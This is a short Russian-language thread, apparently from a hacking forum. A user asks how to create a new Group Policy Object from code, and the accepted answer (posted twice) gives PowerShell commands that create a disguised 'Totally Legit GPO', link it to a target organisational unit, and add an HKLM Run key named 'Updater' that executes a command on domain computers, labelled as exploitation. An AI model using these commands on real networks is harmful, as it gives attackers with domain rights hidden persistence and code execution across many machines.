• XSS.stack #1 – первый литературный журнал от юзеров форума

создание GPO

CCod

(L3) cache
Пользователь
Регистрация
08.01.2022
Сообщения
280
Реакции
60
Здравствуйте
Как можно создать новое гпо из кода без гуи? Powershell,vbs,js,шарпы или сишка. На гитхабе лежат разные гпо абьюзы,но они меняют текущую политику
 
Решение
Вот через пошик.

Добавляем нужные штуки
Код:
Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools.0.0.1.0
Import-Module GroupPolicy


Cоздание новой GPO и привязка её к нужной OU:

Код:
New-GPO -Name 'Totally Legit GPO' | New-GPLink -Target 'OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com'


Эксплуатируем:

Код:
Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString
Вот через пошик.

Добавляем нужные штуки
Код:
Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools.0.0.1.0
Import-Module GroupPolicy


Cоздание новой GPO и привязка её к нужной OU:

Код:
New-GPO -Name 'Totally Legit GPO' | New-GPLink -Target 'OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com'


Эксплуатируем:

Код:
Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString
 
Решение


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх